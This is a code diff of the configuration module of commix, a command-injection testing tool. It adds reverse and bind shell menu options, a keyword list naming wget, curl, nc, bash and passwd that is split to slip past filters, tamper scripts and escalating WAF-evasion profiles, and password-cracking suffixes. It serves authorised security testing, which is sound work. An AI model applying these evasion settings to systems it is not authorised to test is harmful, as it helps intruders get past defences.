"https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" +CUSTOM_HEADERS_NAMES = [] +CUSTOM_HEADER_CHECK = "" +CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" VALID_URL = True @@ -564,11 +1738,17 @@ def sys_argv_errors(): SHELL_OPTIONS = [ "?", "quit", + "exit", "back", "os_shell", "reverse_tcp", "bind_tcp", + "use", + "run", "set", + "show", + "download", + "upload", ] # Accepted reverse tcp shell menu options @@ -578,145 +1758,56 @@ def sys_argv_errors(): "LPORT", "SRVPORT", "URIPATH", + "HANDLER", ] -# Cookie delimiter -COOKIE_DELIMITER = ";" +# Delimiter used to separate individual cookies in the Cookie HTTP header +COOKIE_PARAM_DELIMITER = ";" +# Seconds spent waiting for the file of the '--live-cookies' option to hold something. +LIVE_COOKIES_TIMEOUT = 120 # Split parameter value -PARAMETER_SPLITTING_REGEX = r'[,]' +PARAMETER_SPLITTING_REGEX = "," -# Cookie delimiter -PARAMETER_DELIMITER = "&" +# Delimiter used to separate parameters in POST request body +POST_DATA_PARAM_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +# Delimiter used to separate query parameters in a URL +URL_PARAM_DELIMITER = "&" + +DEFAULT_CODEC = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: - DEFAULT_PAGE_ENCODING = UNICODE_ENCODING - -# Character Sets List. -# A complete list of the standard encodings Python supports. -ENCODING_LIST = [ - "iso-8859-1", - "ascii", - "big5", - "big5hkscs", - "cp037", - "cp424", - "cp437", - "cp500", - "cp720", - "cp737", - "cp775", - "cp850", - "cp852", - "cp855", - "cp856", - "cp857", - "cp858", - "cp860", - "cp861", - "cp862", - "cp863", - "cp864", - "cp865", - "cp866", - "cp869", - "cp874", - "cp875", - "cp932", - "cp949", - "cp950", - "cp1006", - "cp1026", - "cp1140", - "cp1250", - "cp1251", - "cp1252", - "cp1253", - "cp1254", - "cp1255", - "cp1256", - "cp1257", - "cp1258", - "euc-jp", - "euc-jis-2004", - "euc-jisx0213", - "euc-kr", - "gb2312", - "gbk", - "gb18031", - "hz", - "iso2022-jp", - "iso2022-jp-1", - "iso2022-jp-2", - "iso2022-jp-2004", - "iso2022-jp-3", - "iso2022-jp-ext", - "iso2022-kr", - "latin-1", - "iso8859-2", - "iso8859-3", - "iso8859-4", - "iso8859-5", - "iso8859-6", - "iso8859-7", - "iso8859-8", - "iso8859-9", - "iso8859-10", - "iso8859-13", - "iso8859-14", - "iso8859-15", - "iso8859-16", - "johab", - "koi8-r", - "koi8-u", - "mac-cyrillic", - "mac-greek", - "mac-iceland", - "mac-latin2", - "mac-roman", - "mac-turkish", - "ptcp154", - "shift-jis", - "shift-jis-2004", - "shift-jisx0213", - "utf-32", - "utf-32-be", - "utf-32-le", - "utf-16", - "utf-16-be", - "utf-16-le", - "utf-7", - "utf-8", - "utf-8-sig" - ] - -# Default value for HTTP Accept-Encoding header -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" - -# Default server banner -SERVER_BANNER = "" + DEFAULT_PAGE_ENCODING = DEFAULT_CODEC -# Server banners list -SERVER_BANNERS = [ - "Microsoft-IIS", - "Apache", - r"Nginx/([\w\.]+)", - r"GWS/([\w\.]+)", - r"lighttpd/([\w\.]+)", - r"openresty/([\w\.]+)", - r"LiteSpeed/([\w\.]+)", - r"Sun-ONE-Web-Server/([\w\.]+)" -] +# Whether this platform can actually read a charset, which a hand-kept list of names cannot say. +def known_encoding(name): + try: + return bool(name) and bool(codecs.lookup(str(name).strip())) + except (LookupError, TypeError, ValueError): + return False + +""" +Whether a charset leaves plain ASCII alone. + +What a payload is found by is a marker of ASCII letters, and a page only claims its encoding - a +page that claims one of the wide ones and serves something else is read as gibberish, the marker +with it, and the parameter is reported as not injectable. The claim is only worth acting on where +being wrong about it cannot cost that much: for these, being wrong costs the accented characters. +""" +def ascii_transparent_encoding(name): + try: + return "commix".encode(str(name).strip()) == b"commix" + except (LookupError, TypeError, ValueError, UnicodeEncodeError): + return False # Server banners list SERVER_OS_BANNERS = [ - r"(Microsoft|Windows|Win32)", + r"(Microsoft|Windows|Win[\w\.]+)", "Debian", "Ubuntu", "Fedora", @@ -730,30 +1821,32 @@ def sys_argv_errors(): "Gentoo", r"Mac[\-\_\ ]?OSX", r"Red[\-\_\ ]?Hat", - "Unix" + "Unix", ] # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = [ - "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", - "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", - "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", - "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", - "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", - "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", - "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", - "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", - "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", - "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", - "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", - "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", + "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", + "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", + "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", + "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", + "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", + "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", + "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", + "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", + "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", + "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", + "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", + "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx" ] TARGET_APPLICATION = "" +# The version the application named for itself, where it named one. +TARGET_APPLICATION_VERSION = "" # Unsupported target application(s) [1] # [1] https://github.com/commixproject/commix/wiki/Target-applications -UNSUPPORTED_TARGET_APPLICATION = [ +UNSUPPORTED_TARGET_APPLICATION = [ "" ] @@ -765,11 +1858,15 @@ def sys_argv_errors(): # Enumeration options ENUMERATION_DONE = False -ENUMERATE_AGAIN = False # FIle access options FILE_ACCESS_DONE = False -FILE_ACCESS_AGAIN = False + +# Registry access options +REGISTRY_ACCESS_DONE = False + +# Set when '--file-dest' targets the "/tmp/" directory, to switch straight to the tempfile-based technique. +CALL_TMP_BASED = False # XML Data IS_XML = False @@ -779,11 +1876,56 @@ def sys_argv_errors(): # JSON Data IS_JSON = False +IS_VALID_JSON = False +# Whether the URL fragment being dropped has already been reported. +FRAGMENT_IGNORED = False +# Whether repeated JSON keys have already been reported. +DUPLICATE_JSON_KEYS_WARNED = False + +# Indentation and separators of the JSON body as supplied, so it is rebuilt the way it arrived. +JSON_FORMATTING = (2, None) + +# Whitespace between the XML tags as supplied, so the body is rebuilt the way it arrived. +XML_TAG_SEPARATORS = [] + +# Parameters holding session or framework state: injecting into one of these does not test the +# application, it logs the session out or makes the request invalid before it is even handled. +IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", + "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", + "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", + "SESSID", "CFID", "CFTOKEN") # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") + +# Largest chunk built by the '--chunked' switch, small enough to break up what a filter looks for. +MAX_CHUNK_SIZE = 9 +# Tokens a chunk is not allowed to hold whole, so none of them is ever visible in a single chunk. +CHUNKED_SPLIT_KEYWORDS = ( + "cat", "echo", "ping", "wget", "curl", "nc", "bash", "sh", "python", "perl", "whoami", "uname", + "ifconfig", "ipconfig", "netstat", "dir", "type", "powershell", "cmd", "sleep", "timeout", + "passwd", "etc", "bin", "system32", "&&", "||", ";", "|", "`", "$(", "${" +) +CHUNKED_SPLIT_KEYWORDS_REGEX = "|".join(re.escape(_) for _ in CHUNKED_SPLIT_KEYWORDS) # Regular expression used for detecting JSON POST data +# A GraphQL document, as it arrives on its own rather than inside a JSON envelope. +GRAPHQL_RECOGNITION_REGEX = r'(?s)\A\s*(?:query|mutation|subscription)\b[^{]*\{.*\}\s*\Z' + +# An argument the document carries, as the name it is written under and the string it is given. +GRAPHQL_ARGUMENT_REGEX = r'([A-Za-z_]\w*)\s*:\s*"((?:[^"\\]|\\.)*)"' + +# The same argument as a JSON envelope spells it, with the document's own quotes escaped. +GRAPHQL_ARGUMENT_ESCAPED_REGEX = r'([A-Za-z_]\w*)\s*:\s*\\"((?:[^"\\]|\\.)*?)\\"' + +# What a page has to say for an injected condition to have held, where the run was given a way to +# tell - the answer a blind technique reads when the target branches on the command rather than +# printing it. +BOOLEAN_BASED_STATE = None + +# Whether the POST body is a GraphQL document. +IS_GRAPHQL = False + JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data @@ -791,12 +1933,54 @@ def sys_argv_errors(): # Base64 format recognition BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$' +# The same alphabet as it is written where a value has to survive a URL or a filename (RFC 4648). +BASE64_URLSAFE_RECOGNITION_REGEX = r'^[A-Za-z0-9\-_]+[=]{0,2}$' # Hex encoded characters recognition -HEX_RECOGNITION_REGEX = r'^[0-9a-f]+' - -# GET parameters recognition -GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" +HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' + +# Ignore short values that can coincidentally match the base64/hex charset. +ENCODING_MIN_LENGTH = 8 + +# Minimum printable-character ratio for treating a base64/hex charset match as encoded. +ENCODING_PLAUSIBILITY_RATIO = 0.85 + +# How the parameter under test carries its value, where it carries it written in something: the +# codec, the alphabet and the padding it arrived with, so that it is sent back written the same way. +VALUE_ENCODING = None + +# The encodings a value can be said to be carried in, and what was said with '--param-encoding': +# a name for each parameter that carries one, or one name standing for every parameter tested. +ENCODING_BASE64 = "base64" +ENCODING_BASE64_SAFE = "base64-safe" +ENCODING_HEX = "hex" +# A value carried as the 'kid' of a JSON Web Token - the field naming which key to verify with, read +# by the target before the signature it would verify has been checked. The rest of the token is kept +# exactly as it arrived, signature included, so what is tested is that one field. +ENCODING_JWT_KID = "jwt-kid" +SUPPORTED_PARAMETER_ENCODINGS = (ENCODING_BASE64, ENCODING_BASE64_SAFE, ENCODING_HEX, ENCODING_JWT_KID) +# What the tamper scripts that used to write a value out encoded are taken to mean now. +ENCODING_TAMPER_SCRIPTS = {"base64encode": ENCODING_BASE64, "hexencode": ENCODING_HEX} +PARAMETER_ENCODINGS = {} +PARAMETER_ENCODING_DEFAULT = None + +# Whitespace, angle brackets and quotes cannot be in a path worth reading back, and letting them in +# is what turns a page that merely mentions a path in its prose into a match running across the +# markup around it - tags, newlines and all - rather than the path itself. +# +# Either separator, and a drive letter where one is written: a Windows target names its own paths +# with backslashes, and a pattern spelled in forward slashes alone never matches one - leaving the +# only route that reads a root off the target's own output dead on the platform whose candidate +# lists are the thinnest. +# +# Greedy, so the whole path is taken: a directory with a dot in its name - a host-named one above +# all, which is the very thing the hostname is matched against - otherwise ends the match where +# that name does, leaving a root to be cut out of a path stopping short of it. +DIRECTORY_REGEX = r'(?:[A-Za-z]:)?(?:[\\/][^\\/\s<>"\x27]+)+[\\/]\w+\.\w+' + +# Directory names a leaked absolute path (an error message naming the running script's own path is +# the most common way) is cut at, the same document-root name the target itself is likely using. +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # TFB Decimal TFB_DECIMAL = False @@ -804,37 +1988,31 @@ def sys_argv_errors(): # Ignore Error Message IGNORE_ERR_MSG = False -# Default (windows) target host's python interpreter -WIN_PYTHON_INTERPRETER = "python.exe" -USER_DEFINED_PYTHON_DIR = False - -# Default (linux) target host's python interpreter -LINUX_PYTHON_INTERPRETER = "python3" -USER_DEFINED_PYTHON_INTERPRETER = False - # Windows PHP installed directory. WIN_PHP_DIR = "C:\\xampp\\php\\php.exe" USER_DEFINED_PHP_DIR = False # Comment out -WIN_COMMENT = "REM" COMMENT = "#" #Delete command -WIN_DEL = "DEL " +WIN_DEL = "powershell.exe Remove-Item " DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" -FOUND_DIFF = "" # Check for PowerShell PS_ENABLED = None # ANSI colors removal ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' +_ANSI_COLOR_REMOVAL_REGEX = re.compile(ANSI_COLOR_REMOVAL) -# Default LHOST / LPORT / RHOST setup, +# The text with its colour codes taken out, for anywhere they would be read literally. +def strip_ansi_codes(text): + return _ANSI_COLOR_REMOVAL_REGEX.sub("", text) + +# Default LHOST / LPORT / RHOST setup, # for the reverse TCP connection LHOST = "" LPORT = "" @@ -844,47 +2022,186 @@ def sys_argv_errors(): URIPATH = "/" SRVPORT = 8080 -# Maybe a WAF/IPS/IDS protection. -WAF_ENABLED = False +# Catch bind/reverse shells with a built-in listener instead of an external nc/ncat. +HANDLER = False +LAST_SELECTED_MODULE = "" # Session Handler SESSION_FILE = "" LOAD_SESSION = None - -# Retest all techniques -RETEST = False - -# Define the default credentials files -USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "usernames.txt" -PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "passwords_john.txt" +# Whether a stored technique likely exists for the current target (host + method). +LIKELY_RESUME = False +# Cache stored techniques per parameter. +# What has already been said about a stored session this run, so that a fact noticed once per +# resumed technique is still only reported once. +REPLAY_NOTICES_SAID = set() + +STORED_TECHNIQUES = {} +# Pending file/tempfile-based cleanups, asked at quit() - keyed by output file path. +PENDING_FILE_CLEANUPS = {} + +# Output files written on the target, listed once per target when it is done with. +LEFTOVER_FILES = [] +# Separators that join two commands and so cannot be the last thing on the line. +BINARY_SEPARATORS = ("&&", "||", "|") +# The shell's own do-nothing command, which also ignores every argument handed to it. +NO_OPERATION = ":" +# The separator that carries one command's output into the next. +PIPE_SEPARATOR = "|" +# Writing the output and reading it back are two requests, and the read can reach the target +# before the write has landed - so it is tried again while it still holds what it held before. +MAX_OUTPUT_FILE_READS = 3 +OUTPUT_FILE_READ_DELAY = 1 +LAST_OUTPUT_FILE_CONTENT = None +# And what the target said about the file itself when that content was read - an entity tag or +# a last-modified date, which is how a read tells the command's own output from what the file +# held before it. +LAST_OUTPUT_FILE_VALIDATOR = None +# How many times an unusable URL is asked for again before the run gives up on being answered. +MAX_INVALID_URL_ANSWERS = 3 +# Findings confirmed this run, for the end-of-run summary. +CONFIRMED_INJECTION_POINTS = [] + +# One entry per technique that proved a point, with the executor that reaches it - see proof.py. +PROOF_EXECUTORS = [] +PROOF_DONE = False +# (prefix, suffix, separator, whitespace) confirmed by one technique, tried first by the others. +CONFIRMED_BOUNDARY = {} +# Whether the "keep testing others" prompt already fired for this target. +ASKED_KEEP_TESTING = False +# Post-detection actions (enumeration, file access, --os-cmd), deferred until quit(). +PENDING_POST_DETECTION_ACTIONS = [] +OS_CMD_DONE = False +# The single deferred --os-shell entry, run at quit(). +PENDING_OS_SHELL_ENTRY = None +# Guards the resumed-session log notice against quit()'s recursion. +LOGS_NOTIFICATION_SHOWN = False +# Log files that could not be written, so the run neither retries the warning nor claims they hold anything. +UNWRITABLE_LOG_FILES = set() +# Set once a finding is worth suggesting '--os-shell' for, printed where the run ends. +OS_SHELL_SUGGESTION_PENDING = False + +# Path to file containing desktop/browser User-Agent strings +USER_AGENT_LIST = os.path.join(TXT_DIR, "user-agents.txt") + +# Path to file containing mobile User-Agent strings +MOBILE_USER_AGENT_LIST = os.path.join(TXT_DIR, "mobile-user-agents.txt") + +# The candidate names '--mine-params' works through, and how many of them go in one request. +PARAMETER_MINING_LIST = os.path.join(TXT_DIR, "common-parameters.txt") +PARAMETER_MINING_BUCKET = 25 + +# Long enough that a name carrying it cannot be one the target has a use for. +MINING_DECOY_LENGTH = 8 + +# How much text a candidate has to add to a page, past what the page moves on its own, to count. +MINING_MINIMUM_INSERT = 16 + +# How many answers to names the target cannot know are read before one it might know is asked for. +MINING_NOISE_SAMPLES = 3 + +# How many times over a name has to answer differently before it is taken as one the target reads. +MINING_CONFIRMATIONS = 2 + +# What a mined parameter is given to carry, having no value of its own to go by. +MINED_PARAMETER_VALUE = "1" + +# What '--mine-endpoints' reads per page, and how much of each script. +MAX_MINED_SCRIPTS = 20 +MAX_MINED_SCRIPT_SIZE = 1 * 1024 * 1024 + +# Path to file with default username values +USERNAMES_TXT_FILE = os.path.join(TXT_DIR, "default_usernames.txt") + +# Path to file with default password values +PASSWORDS_TXT_FILE = os.path.join(TXT_DIR, "default_passwords.txt") + +# Appended to each dictionary word, one suffix at a time, when the user opts into it for cracking +# a retrieved password hash - the common ways a plain word gets turned into a "stronger" one. +COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") + +# Path to file with known CGI scripts/pages potentially vulnerable to Shellshock +CGI_SCRIPTS = os.path.join(TXT_DIR, "shocker-cgi_list.txt") + +# The candidate paths '--common-files' checks for existence, one '--file-read' away once confirmed. +COMMON_FILES_LIST = os.path.join(TXT_DIR, "common-files.txt") REQUIRED_AUTHENTICATION = False -INJECTED_HTTP_HEADER = False INJECTION_CHECKER = False -# List of pages / scripts potentially vulnerable to Shellshock -CGI_SCRIPTS = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "shocker-cgi_list.txt" +INSTALL_DIR = "/usr/share/" +WRAPPER_PATH = "/usr/bin/" # Metasploit Framework Path -METASPLOIT_PATH = "/usr/share/metasploit-framework/" +METASPLOIT_PATH = INSTALL_DIR + "/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest" ] +class AUTH_TYPE(object): + BASIC = "basic" + DIGEST = "digest" + BEARER = "bearer" + # Proved by a certificate presented while connecting, rather than by anything sent in a header. + PKI = "pki" -# HTTP Headers -HTTP_HEADERS = [ "user-agent", "referer", "host" ] +# Cached digest realm, discovered from the target's WWW-Authenticate challenge. +DIGEST_AUTH_REALM = None RAW_HTTP_HEADERS = "" +# Request blocks of a proxy log export, delimited by rows of '=' and starting on a method token. +PROXY_LOG_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)" +# Requests of an XML history export, stored base64-encoded with the port kept apart. +PROXY_LOG_XML_REQUEST_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)' +# Targets parsed from a file holding more than one request, tested one after the other. +MULTI_REQUEST_TARGETS = [] +# Targets left out by the '--scope' option, reported once the target list is known. +SKIPPED_OUT_OF_SCOPE = set() + +USER_APPLIED_TAMPER = "" +# The modules named with "--module", by name, so a heuristic does not drop one that was asked for. +USER_APPLIED_MODULE = () + +""" +Tamper scripts this run reached for on its own, kept apart from the ones '--tamper' named. + +What is adopted to get past a filter belongs to the parameter it was adopted for: written back into +the option instead, it outlives that parameter and every one tested afterwards inherits a rewrite it +was never shown to need - which reads as "not injectable" where the substitute is filtered too. The +option itself is also the user's answer to this question, so it is never written over with ours. +""" +AUTO_TAMPER = [] + +""" +Registered injection modules: the name '--module' takes -> (import path, handler). + +Kept here rather than beside the loader so that the option parser can read it without importing it, +and so a module is added in one place. A module reuses the shared core building blocks +(requests/checks/shell_options/handler) instead of reimplementing them - see shellshock.py. +""" +MODULES = { + "shellshock": ("src.core.modules.shellshock.shellshock", "shellshock_handler"), +} + +# Tamper payload modification letters +TAMPER_MODIFICATION_LETTERS = r'([e-zE-Z])' + # Tamper scripts dict TAMPER_SCRIPTS = { + "phpserverheaders": False, "space2ifs": False, - "base64encode": False, - "hexencode": False, "space2plus": False, "space2htab": False, "space2vtab": False, + "space2brace": False, + "ansiquote": False, + "ansiquoteoctal": False, + "printfoctal": False, + "space2ifsraw": False, + "unicodequote": False, + "cmd2wildcard": False, + "cmd2var": False, + "cmd2redir": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -893,13 +2210,187 @@ def sys_argv_errors(): "nested": False, "sleep2usleep": False, "sleep2timeout": False, + "sleep2ping": False, + "phphexname": False, + "phpconcat": False, + "phpregreplace": False, + "phpnoletters": False, + "pyhexname": False, "xforwardedfor": False, "dollaratsigns": False, + "dollarstars": False, + "printf2echo": False, "uninitializedvariable": False, - "slash2env":False, - "backticks":False + "slash2env": False, + "backticks": False, + "randomcase": False, + "rev": False, + "cmd2loop": False, + "dashlesstest": False, + "noletters": False, + "phpnosymbols": False, + "jsvmescape": False, + "nashornexec": False, + "pybuiltinsescape": False, + "basicobjectescape": False, + "space2randomblank": False, + "luadebugescape": False } +# Execution priority for tamper scripts; each script defines its own __priority__. +class PRIORITY(object): + HIGHEST = 100 + HIGHER = 75 + HIGH = 50 + ABOVE_NORMAL = 25 + NORMAL = 0 + BELOW_NORMAL = -25 + LOW = -50 + LOWER = -75 + LOWEST = -100 + +# Tamper script pairs that cannot be combined. +# Tamper scripts turned on by themselves once a WAF/IPS is found in front of the target. +# One script per bypass class: the whitespace, the command names, the casing and the client address. +# Only one of "uninitializedvariable" / "dollaratsigns" / "backslashes" can be used, they conflict. +# Each tier is heavier than the one before, and every one is listed by descending priority. +WAF_EVASION_PROFILE = { + "unix" : [ + "randomcase,xforwardedfor,uninitializedvariable,space2ifs", + "rev,randomcase,xforwardedfor,dollaratsigns,space2htab" + ], + "windows" : [ + "xforwardedfor,doublequotes,caret,space2vtab", + "xforwardedfor,doublequotes,caret,space2htab" + ] +} +# What the evasion actually turned on, so it is reported once and never applied twice. +WAF_EVASION_APPLIED = "" +# Whether the evasion getting a finding past the WAF/IPS has already been confirmed to the user. +WAF_BYPASS_CONFIRMED = False +# Whether the user agreed to the evasion, asked once and remembered for the rest of the run. +WAF_EVASION_CONSENT = None +# Which tier of the profile is in use, stepped up while the protection keeps blocking. +WAF_EVASION_TIER = 0 +# Blocked responses seen since the last step up. A block reaching here already means the evasion +# in use was not enough, so there is nothing to wait for. +WAF_BLOCKS_SINCE_EVASION = 0 +WAF_ESCALATION_THRESHOLD = 1 +# Set when the evasion was just stepped up, so the technique that was blocked is tried again. +WAF_EVASION_ESCALATED = False +# Whether the evasion has already taken this tool's name off the request itself. +WAF_EVASION_FINGERPRINT_APPLIED = False +""" +Whether the request is meant to read as a browser's rather than as this tool's: set by switch +'--random-agent', by switch '--mobile', and by the evasion once a WAF/IPS is being answered. + +A browser's "User-Agent" over a "*/*" nothing but a scanner sends, and with no "Accept-Language" +at all, is still a scanner to anything weighing the headers as a set - so the headers that go with +the one being replaced follow the same switch. +""" +BROWSER_LIKE_HEADERS = False + +# Scripts that rewrite the user's command in place, in the order their rewrites are applied. The +# paths go first, so that what the name-splitting script is handed is a name and not a glob; the +# space-folding script goes last, since splitting the name across variables (or wildcarding it, +# though a bare name carries no path to glob) leaves nothing after it that still reads as one of +# its recognised command names, so it is left to fold away whatever space is still there to find. +COMMAND_REWRITERS = ("cmd2wildcard", "cmd2var", "cmd2redir") +# The one script that trades the two printing commands for each other, named here so that what +# follows its being in use does not spell it out a second time and drift from it. +PRINTF_TO_ECHO_TAMPER = "printf2echo" +# The one script that works a filtered '-' out of the payloads, named here for the same reason. +DASHLESS_TAMPER = "dashlesstest" + +# Scripts asking more of the target's shell than POSIX gives, and what each one asks for. A run +# carrying one of these and finding nothing may have found nothing because the shell is a plain one. +SHELL_FEATURE_TAMPERS = { + "space2brace": "brace expansion", + "ansiquote": "ANSI-C quoting", + "ansiquoteoctal": "ANSI-C quoting" +} + +INCOMPATIBLE_TAMPER_SCRIPTS = [ + # "\$" is a literal "$", so the escape kills the other script's "$@" / "${XX}". + ("backslashes", "dollaratsigns"), + ("backslashes", "uninitializedvariable"), + # "$@" lands inside "${XX}", corrupting the variable name. + ("dollaratsigns", "uninitializedvariable"), + # "$*" is the same emptiness said differently, so it breaks in the same places. + ("backslashes", "dollarstars"), + ("dollarstars", "uninitializedvariable"), + # Both interleave the same characters, so together they say everything twice. + ("dollaratsigns", "dollarstars"), + # Each of these writes between the characters of a word that is now hex escapes, + # so what the shell reads back is no longer the word that was encoded. + ("ansiquote", "backslashes"), + ("ansiquote", "dollaratsigns"), + ("ansiquote", "dollarstars"), + ("ansiquote", "singlequotes"), + ("ansiquote", "uninitializedvariable"), + # Two encodings of the same words, over the same characters. + ("ansiquote", "ansiquoteoctal"), + ("ansiquoteoctal", "backslashes"), + ("ansiquoteoctal", "dollaratsigns"), + ("ansiquoteoctal", "dollarstars"), + ("ansiquoteoctal", "singlequotes"), + ("ansiquoteoctal", "uninitializedvariable"), + # A third encoding of the same words, over the same characters. + ("printfoctal", "ansiquote"), + ("printfoctal", "ansiquoteoctal"), + ("printfoctal", "backslashes"), + ("printfoctal", "dollaratsigns"), + ("printfoctal", "dollarstars"), + ("printfoctal", "singlequotes"), + ("printfoctal", "uninitializedvariable"), + # A literal "'" is the delimiter both scripts need - one is quoting with it, the + # other is folding it away into a character no delimiter is read from. + ("ansiquote", "unicodequote"), + ("ansiquoteoctal", "unicodequote"), + ("printfoctal", "unicodequote"), + ("singlequotes", "unicodequote"), + # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. + ("randomcase", "singlequotes"), + # Both name the same function in the same call, so the second finds the name of + # the first already broken up and has nothing left to rewrite. + ("phphexname", "phpconcat"), + ("phphexname", "phpnoletters"), + ("phpconcat", "phpnoletters"), + # All three replace the user's command outright, so only one of them can have it. + ("cmd2wildcard", "rev"), + ("cmd2wildcard", "randomcase"), + ("cmd2var", "rev"), + ("cmd2var", "randomcase"), + # A bare name is glob territory, not a path to wildcard or a command to garble. + ("noletters", "cmd2wildcard"), + ("noletters", "rev"), + ("noletters", "randomcase") +] + +# Words that must survive per-character obfuscation - shell keywords stop being keywords once +# obfuscated, and user-supplied commands can still use them. +# What a POSIX shell settles before it takes any quoting off and before it expands anything: a +# keyword is read off the word exactly as it was written, so one spelled any other way - or run +# into a whitespace substitute that is only a separator once expanded - reaches the target as a +# plain word, and the payload loses the branch or the loop it was built around. +SHELL_KEYWORDS = ("if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "in") + +IGNORE_TAMPER_TRANSFORMATION = [ + "IFS", +] + list(SHELL_KEYWORDS) + [ + "cmd", + "%0d", + "PATH%%u*", + # A quoted name is a command name rather than an assignment, and the locale would go unpinned. + "LC_ALL", + # A builtin, so there is no file of its own length for a glob to resolve it to. + "export", + RANDOM_VAR_GENERATOR, + RANDOM_VAR_GENERATOR + "1", + RANDOM_VAR_GENERATOR + "2", + RANDOM_VAR_GENERATOR + "3" +] + # HTTP Errors BAD_REQUEST = "400" 